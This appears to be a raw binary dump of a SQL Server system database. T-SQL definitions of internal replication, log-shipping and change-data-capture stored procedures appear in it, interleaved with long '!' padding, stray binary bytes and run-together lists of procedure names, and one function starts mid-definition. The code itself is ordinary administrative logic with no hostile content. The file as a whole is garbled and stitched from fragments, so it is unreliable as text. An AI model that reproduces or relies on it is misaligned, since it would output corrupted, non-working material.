!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`(
v<	[.<80 8CREATE PROCEDURE sys.sp_IHaddpublisher
(
	@publisher			sysname,
	@vendor				sysname,
	@distributortimestamp		datetime,
	@publisher_guid 		uniqueidentifier
)
AS
BEGIN
	DECLARE @retcode		int
	DECLARE @publisher_id	smallint
	DECLARE @version		sysname
	--
	-- Parameter check: publisher
	--
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_IHaddpublisher')
        RETURN (1)
    END

    EXECUTE @retcode = dbo.sp_validname @publisher

    IF @retcode <> 0
	    RETURN (1)

	--
	-- Look up publisher ID
	--
	SELECT @publisher_id = svr.srvid
	FROM   master.dbo.sysservers svr
	JOIN   msdb.dbo.MSdistpublishers dist ON svr.srvname = dist.name
	WHERE  UPPER(dist.name collate database_default) = UPPER(@publisher) collate database_default

	IF @@ERROR <> 0
		RETURN (1)

	IF @publisher_id is NULL
	BEGIN
		raiserror(14080, 16, -1, @publisher)
		return (1)
	END

	--
	-- Parameter check: @vendor
	--
    IF @vendor IS NULL or @vendor NOT IN (N'ORACLE')
    BEGIN
        RAISERROR (21604, 16, -1)
        RETURN (1)
    END

	--
	-- Insert publisher
	--	
	INSERT INTO IHpublishers
	(
		publisher_id,
		vendor,
		publisher_guid,
		flush_request_time
	)
	VALUES
	(
		@publisher_id,
		@vendor,
		@publisher_guid,
		@distributortimestamp
	)

	IF @@ERROR <> 0
		return (1)
		
	-- Set version tag by reading it (automatically cached for publisher
	-- types that care)
	EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
										@version	= @version OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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id uniqueidentifier = NULL,
    @prefix1 sysname = NULL,
    @prefix2 sysname = NULL,
    @prefix3 sysname = NULL,
    @prefix4 sysname = NULL
    ) returns nvarchar(100)
as
begin
    declare @name nvarchar(100)
    select @name = N''

    -- Max len is (16 + 1) * 4 + 32 = 100
    if @prefix1 is not null
        select @name = @name + CONVERT(nvarchar(16),@prefix1) + N'-'
    if @prefix2 is not null
        select @name = @name + CONVERT(nvarchar(16),@prefix2) + N'-'
    if @prefix3 is not null
        select @name = @name + CONVERT(nvarchar(16),@prefix3) + N'-'
    if @prefix4 is not null
        select @name = @name + CONVERT(nvarchar(16),@prefix4) + N'-'
        
    select @name = @name + replace(isnull(convert(nvarchar(36), @guid), N''), N'-',N'')
    return @name
end
0}@ 8
-- add it
create view sys.dm_pdw_errors as
select
	error_id	collate database_default error_id,
	source	collate database_default source,
	type	collate database_default type,
	create_time,
	pdw_node_id,
	session_id	collate database_default session_id,
	request_id	collate database_default request_id,
	spid,
	thread_id,
	details	collate database_default details
from sys._dm_pdw_errors
0@ 8
--
-- Name:
--		sp_MSrepl_setdefaultdatatype
--
-- Description:
--		Mark data type mapping as default
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		Adds/updates the default data type mapping record
--		NOTE: Calling sp is expected to manage transaction

CREATE PROCEDURE sys.sp_MSrepl_setdefaultdatatype
(
	@map_id					int,
	@datatype_mapping_id	int
)
AS
BEGIN
	SET NOCOUNT ON
	
	-- Verify mapping
	IF NOT EXISTS
	(
		SELECT	map.map_id
		FROM	msdb.dbo.MSdbms_map map,
				msdb.dbo.MSdbms_datatype_mapping dm
		WHERE	map.map_id				= dm.map_id
		  AND	map.map_id				= @map_id
		  AND	dm.datatype_mapping_id	= @datatype_mapping_id
	)
	BEGIN
		RAISERROR (21658, 16, -1)
		RETURN (1)
	END
	
	UPDATE	msdb.dbo.MSdbms_map
	SET		default_datatype_mapping_id = @datatype_mapping_id
	WHERE	map_id = @map_id

	IF @@ERROR <> 0
	BEGIN
		RETURN (1)
	END	
	
	RETURN (0)
END
0_/@ 78create procedure sys.sp_subscribe 
(
    @publication sysname,          /* publication name */
    @article sysname = 'all',          /* article name */
    @destination_db sysname = NULL,  /* subscriber database */
    @sync_type nvarchar (15) = 'automatic', /* subscription sync type */
    @loopback_detection nvarchar(5) = NULL   -- loopback detection - use default
) 
as
begin

    -- New 7.0 sp_addsubscription parameters
    DECLARE @subscriber                  sysname
    DECLARE @status                      sysname
    DECLARE @subscription_type           nvarchar(4)
    DECLARE @update_mode                 nvarchar(15)
    DECLARE @enabled_for_syncmgr         nvarchar(5)
    DECLARE @retcode                     int

    SET NOCOUNT ON

    -- sp_subscribe has to be called from a remote subscriber 
    -- If not, we state that it is unsupported
    SELECT @subscriber = @@REMSERVER
    IF @subscriber IS NULL
    BEGIN
      RAISERROR (21023, 16, -1,'sp_subscribe')
      RETURN(1)
    END
    
    SELECT @status = NULL
    SELECT @subscription_type = 'push'
    SELECT @update_mode = 'read only'
    SELECT @enabled_for_syncmgr = 'false'

    -- Call sp_addsubscription to do the actual work
    EXEC @retcode = sys.sp_addsubscription @publication = @publication,
                                           @article = @article,
                                           @destination_db = @destination_db,
                                           @sync_type = @sync_type,
                                           @subscriber = @subscriber,
                                           @status = @status,
                                           @subscription_type = @subscription_type,
                                           @update_mode = @update_mode,
                                           @loopback_detection = @loopback_detection,
                                           @enabled_for_syncmgr = @enabled_for_syncmgr
                                        
    RETURN @retcode   
end
0 a8
create function [sys].[fn_cdc_get_role]
(
	@capture_instance sysname
)
returns sysname
with execute as 'dbo'
as
begin
	declare @role_name sysname
		
	select top 1 @role_name = role_name
    from [cdc].[change_tables]  
    where capture_instance = rtrim(@capture_instance)
    
	return @role_name 	
end
04 D88h:
"	01Ů@ 8create proc sys.sp_enum_oledb_providers
as
begin

	IF (not is_srvrolemember(N'setupadmin') = 1)
	begin
	   raiserror(15003,-1,-1, N'setupadmin')
	   return (1)
	end
	exec sys.xp_enum_oledb_providers
end
!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6
Sm`XO<u	**r=70j )8create procedure sys.sp_MSprocesslogshippingmonitorerror 
(
    @mode tinyint -- 1 = add, 2 = delete
    ,@agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@session_id int = NULL -- should not be null when adding
    ,@sequence_number int = NULL  -- should not be null when adding
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit = 1
    ,@database sysname = NULL -- needed for add
    ,@log_time datetime = NULL
    ,@log_time_utc datetime = NULL
    ,@message nvarchar(4000) = NULL 
    ,@source nvarchar(4000) = NULL 
    ,@help_url nvarchar(4000) = NULL 
)
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)

    --
    -- validate @mode
    --
    if (@mode not in (1,2))
        return 1
    if (@mode = 1)
    begin
        --
        -- Add an entry in the log_shipping_monitor_error_detail
        --
        insert into msdb.dbo.log_shipping_monitor_error_detail (
                agent_id 
                ,agent_type 
                ,session_id 
                ,database_name 
                ,sequence_number 
                ,log_time 
                ,log_time_utc 
                ,message
                ,source
                ,help_url)
        values (
                @agent_id 
                ,@agent_type 
                ,@session_id 
                ,@database 
                ,@sequence_number 
                ,@log_time 
                ,@log_time_utc 
                ,@message
                ,@source
                ,@help_url)
        if (@@error != 0)
            return 1
    end
    else if (@mode = 2)
    begin
        --
        -- clean up log_shipping_monitor_error_detail
        --
        delete msdb.dbo.log_shipping_monitor_error_detail
        where agent_id = @agent_id and agent_type = @agent_type
    end
    --
    -- Do we need have remote monitor
    --
    if (upper(@monitor_server) != upper(@@servername))
    begin
        if (@monitor_server_security_mode = 0) and (suser_name() != SUSER_SNAME(0x01))
        begin
            --
            -- Process remote monitor using proxy
            --
            exec @retcode = msdb.sys.sp_MSproxylogshippingmonitorerror
                    @mode = @mode
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@sequence_number = @sequence_number
                    ,@monitor_server = @monitor_server
                    ,@database = @database
                    ,@log_time = @log_time
                    ,@log_time_utc = @log_time_utc
                    ,@message = @message
                    ,@message = @message
                    ,@source = @source
                    ,@help_url = @help_url
        end
        else
        begin
            --
            -- integrated -do not use proxy
            --
            select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorerror'
            begin try
                exec @retcode = @linkcmd 
                    @mode = @mode
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@sequence_number = @sequence_number
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = 1
                    ,@database = @database
                    ,@log_time = @log_time
                    ,@log_time_utc = @log_time_utc
                    ,@message = @message
                    ,@source = @source
                    ,@help_url = @help_url
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        if (@retcode != 0 or @@error != 0)
            return 1
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!`p<~	*s$0@ 8create procedure sys.sp_help_log_shipping_monitor_secondary 
(
    @secondary_server sysname
    ,@secondary_database sysname
)
as
begin
    set nocount on
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- return resultset
    --
    select *
    from msdb.dbo.log_shipping_monitor_secondary
    where secondary_server = upper(@secondary_server)
        and secondary_database = @secondary_database
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
l"6	2޻&&r>sp_MSgetpeerconflictname&Y<sp_MSgetpeerconflictrow&v.sp_MSgetpeerlsns&mBsp_MSgetpeertopeercommands&R8sp_MSgetpeerwinnerrow&R.sp_MSgetreplnick&$G2sp_MSgettools_path&h[G8sp_MSgettrancftsrcrow&t%>sp_MSgettranconflictname&V<sp_MSgettranconflictrow&\uDsp_MSgettranlastupdatedtime&_Jsp_MSgettransarticlecolumnlist&`,sp_MSgetversion&GyFsp_MSgrantconnectreplication&L0sp_MShelp_article&nh.sp_MShelp_distdb&σJsp_MShelp_distribution_agentid&	Dsp_MShelp_identity_property&nSDsp_MShelp_logreader_agentid&^<sp_MShelp_merge_agentid&C0sp_MShelp_profile&Y:sp_MShelp_profilecache&8sp_MShelp_publication&/6sp_MShelp_repl_agent&kFsp_MShelp_replication_status&ЅDsp_MShelp_replication_table&LC>sp_MShelp_snapshot_agent&TBsp_MShelp_snapshot_agentid&o@sp_MShelp_subscriber_info&Nsp_MShelp_subscriberside_history&:sp_MShelp_subscription&Hsp_MShelp_subscription_status&4FOHsp_MShelpconflictpublications&hr^sp_MShelpdynamicsnapshotjobatdistributor&.O>sp_MShelplogreader_agent&eDsp_MShelpobjectpublications&0Fsp_MShelpreplicationtriggers&(n<sp_MShelpsnapshot_agent&XWDsp_MShelpsummarypublication&E+6Dsp_MShelptracertokenhistory&8sp_MShelptracertokens&h-Dsp_MShelptranconflictcounts&}wPsp_MShelptranconflictpublications&0>sp_MSIfExistsRemoteLogin&߯@sp_MSIfExistsSubscription&*-`sp_MSincrementpublicationminautonosynclsn&bCFsp_MSinit_publication_access&Hsp_MSinit_replication_perfmon&6QFsp_MSinit_subscription_agent&/P6sp_MSinsert_identity&S.sp_MSinstance_qv&>sp_MSinvalidate_snapshot&<sp_MSis_identity_insert&QF*sp_MSis_pk_col&4sp_MSisallreplcolpk&4&sp_MSiscolpk&Tsp_MSisdistributionjobnamegenerated&Nsp_MSislogreaderjobnamegenerated&NFsp_MSismergejobnamegenerated&mzJsp_MSisnonpkukupdateinconflict&}:sp_MSispeertopeeragent&@sp_MSispkupdateinconflict&\>sp_MSispublicationqueued&,G*sp_MSguidtostr&2sp_MShelpdestowner&c,:sp_MSisdynamicfunction&BNsp_MShelpmergepub_withrownumbers&T[Tsp_MShelpmergepub_withoutrownumbers&eȲ<sp_MShelpvalidationdate&D6sp_MSindexcolfrombin&Fsp_MShelpmergeconflictcounts&?/Rsp_MShelpmergeconflictpublications& ),sp_MSgetpubinfo&Nsp_MShelpmergedynamicsnapshotjob&hsp_MSis_joinfilter_based_on_PK_UQ_constraints&g:sp_MShelpmergeidentity&@HFsp_MShelpmergeselectarticles&:sp_MShelpmergearticles&n
Vsp_MShelpmergearticles_nonpartgroups&eUFsp_MShelpmergeschemaarticles&-6sp_MSgetreplicastate&!Bsp_MSinitdynamicsubscriber&4sp_MSgetrowmetadata&>8sp_MSinsertgenhistory&x4sp_MSgetreplicainfo&*Jsp_MSgetsupportabilitysettings&@sp_MSinsertdeleteconflict&ҜB>sp_MSgetsetupbelong_cost&yڱFsp_MSinsertbeforeimageclause&#<sp_MSinsertschemachange&l?:sp_MSgetviewcolumnlist&cHBsp_MShelpcreatebeforetable&@sp_MShelpalterbeforetable&<sp_MSinserterrorlineage&p:sp_MSgetsubscriberinfo&;Rsp_MSinsertgenerationschemachanges&)8sp_MSgettablecontents&URsp_MSinsertlightweightschemachange&BLBsp_MShaschangeslightweight&Jsp_MSgetrowmetadatalightweight&.sp_MShasdbaccess&R.sp_MShelpcolumns&*sp_MShelpindex&(sp_MShelptype&,sp_MSindexspace&ߞ:sp_MShelpfulltextindex&u<sp_MShelpfulltextscript&>sp_MSGetServerProperties!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p6XJ


D

H\bn.
&
\
$
		`		L"\x>:Fp"bj0<dN"XN
hL0J`
h"2	VM[&Bsp_cdc_cleanup_job_entries&oV6sp_cdc_dbsnapshotLSN&#@sp_cdc_ddl_event_internal&t)f@sp_cdc_get_job_parameters&!:sp_cdc_logddl_internal&+H$sp_cdc_scan&_86sp_certify_removable&@sp_change_agent_parameter&2<sp_change_agent_profile&\sp_change_log_shipping_primary_database&&`sp_change_log_shipping_secondary_database&1^sp_change_log_shipping_secondary_primary&Q;Psp_change_subscription_properties&ZPsp_change_tracking_waitforchanges&8sp_change_users_login&8%@.sp_changearticle&%Jsp_changearticlecolumndatatype&.sp_changedbowner&k:sp_changedistpublisher&8<sp_changedistributiondb&@Hsp_changedistributor_password&Hsp_changedistributor_property&l>sp_changelogreader_agent&&`vJsp_changemergepullsubscription&g6sp_changeobjectowner&OM6sp_changepublication&v	Hsp_changepublication_snapshot&Rφ:sp_changeqreader_agent&vTsp_changereplicationserverpasswords&Y4sp_changesubscriber&r$SFsp_changesubscriber_schedule&8sp_changesubscription&Fsp_changesubscriptiondtsinfo&^^2sp_changesubstatus&jmFsp_check_constbytable_rowset&d+Hsp_check_constbytable_rowset2&uDsp_check_constraints_rowset&Fsp_check_constraints_rowset2&N@sp_check_for_sync_trigger&Tsp_check_log_shipping_monitor_alert&W6Dsp_check_publication_access&Ǥ2sp_check_removable&>Dsp_check_removable_sysusers&X8sp_check_sync_trigger&Bsp_cdc_disable_table_tranx&t=<sp_cdc_create_functions& Hsp_cdc_lsn_time_mapping_procs&8sp_cdc_create_objects&Nsp_cdc_drop_change_table_objects&$a4sp_cdc_drop_objects&BJsp_cdc_verify_capture_instance&ɲ>sp_cdc_verify_index_name&DG<sp_cdc_verify_role_name&4Z8sp_cdc_extract_column&JPsp_cdc_parse_captured_column_list&Psp_cdc_parse_included_column_list&vWHsp_cdc_parse_update_flag_list&7:Bsp_cdc_create_change_table&Nsp_cdc_create_change_table_index&bsp_cdc_create_change_enumeration_functions&psp_cdc_create_change_enumeration_wrapper_function&Fdtsp_cdc_grant_select_on_change_enumeration_functions&4Tsp_cdc_create_populate_stored_procs&EHsp_cdc_disable_table_instance&N.sp_cdc_enable_db&@sp_cdc_enable_db_internal&:]0sp_cdc_disable_db&RBsp_cdc_disable_db_internal&4sp_cdc_enable_table&UFsp_cdc_enable_table_internal&*6sp_cdc_disable_table&Hsp_cdc_disable_table_internal&<Fsp_cdc_get_cleanup_retention&Dsp_cdc_cleanup_job_internal&&I>sp_cdc_drop_job_internal&,sp_cdc_drop_job&];@sp_cdc_start_job_internal&x.sp_cdc_start_job&02R>sp_cdc_stop_job_internal&b,sp_cdc_stop_job&I@sp_cdc_help_jobs_internal&Κ.sp_cdc_help_jobs&m=.sp_cdc_restoredb&@sp_cdc_restoredb_internal&u?,sp_cdc_vupgrade&@sp_cdc_vupgrade_databases&Fsp_cdc_get_capture_instances&vLsp_cdc_help_change_data_capture&+Dsp_cdc_get_captured_columns&:|:sp_cdc_get_ddl_history&2sp_cdc_ddl_history&&Nsp_cdc_generate_wrapper_function&\D`sp_cdc_generate_wrapper_function_internal&XHsp_changetracking_remove_tran&'Hsp_changetracking_time_to_csn&,.m8sp_changemergearticle&$Z@sp_changemergepublication&y@sp_changemergelogsettings&Bsp_changemergesubscription&[h6sp_changemergefilter&Fsp_changedynamicsnapshot_job&>sp_check_dynamic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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`

R

P		@	JJ|BDR
v:Z"$h,
b

:zdXR^0FZ
Nn&j^>`
9L"		'mpH&
psp_MSpeerconflictdetection_topology_applyresponse&v$flsp_MSpeerconflictdetection_topology_sendrequest&;,sp_MSpeerdbinfo&/8sp_MSpeersendresponse&#8@sp_MSpeersendtopologyinfo&o @sp_MSpeertopeerfwdingexec&44sp_MSpost_auto_proc&64sp_MSprep_exclusive&
@sp_MSprepare_mergearticle&vDsp_MSprepare_sub_for_detach&՛Jsp_MSprocesslogshipmonitorlink&<Bsp_MSprocesslogshippingjob&jTsp_MSprocesslogshippingmonitorerror& Xsp_MSprocesslogshippingmonitorhistory&[Xsp_MSprocesslogshippingmonitorprimary&bT\sp_MSprocesslogshippingmonitorsecondary&4dl\sp_MSprocesslogshippingretentioncleanup&d@sp_MSprocesspublisherlink&+,4sp_MSprofile_in_use&LPsp_MSproxylogshippingmonitorerror&/\sp_MSproxylogshippingmonitorhelpprimary&|
`sp_MSproxylogshippingmonitorhelpsecondary&NTsp_MSproxylogshippingmonitorhistory&k,4Tsp_MSproxylogshippingmonitorprimary&aTsp_MSproxylogshippingmonitorrefresh&gXsp_MSproxylogshippingmonitorsecondary& 2Xsp_MSproxylogshippingretentioncleanup&l`>sp_MSpub_adjust_identity&b~<sp_MSpublication_access&Dsp_MSpublication_validation&q=<sp_MSpublicationcleanup&G*sp_MSpublishdb&|zVsp_MSpullsubscriptionagentjobcontrol&eLJsp_MSpurgepartialmergesnapshot&h8sp_MSquery_syncstates&Tsp_MSrecordsnapshotdeliveryprogress&(f4sp_MSreenable_check&߮$sp_MSrefcnt&u:sp_MSrefresh_anonymous&4sp_MSrefreshmqtosql&sbsp_MSregister_all_merge_pull_subscriptions&yybsp_MSregister_all_trans_pull_subscriptions&IE@sp_MSregisterdynsnapseqno&eDsp_MSregistermergesnappubid&@sp_MSregistersubscription&&4sp_MSreinit_article&CNsp_MSreinit_failed_subscriptions&t>sp_MSreinit_subscription&x)Hsp_MSreleaseFixPALRoleAppLock&@`sp_MSreleaseMergeUpgradeSubscriberAppLock&Q.6sp_MSreleaseSlotLock&Ss\sp_MSreleasesnapshotdeliverysessionlock&kdsp_MSremovedb_merge_replication_brute_force&*>sp_MSremovedbreplication&taPsp_MSreleasemakegenerationapplock&GC`4sp_MSRecontructType&0sp_MSquerysubtype&@sp_MSpurgecontentsorphans&chXsp_MSrefresh_idrange_check_constraint&Jsp_MSrefresh_publisher_idrange&\sp_MSreinitoverlappingmergepublications&Dsp_MSreinitmergepublication&,sp_MSreinit_hub&6sp_MSpublicationview&VFsp_MSpropagateschematorepubs&[Vsp_MSrefreshdynamicsnapshotlocations&*:sp_MSremove_userscript&l	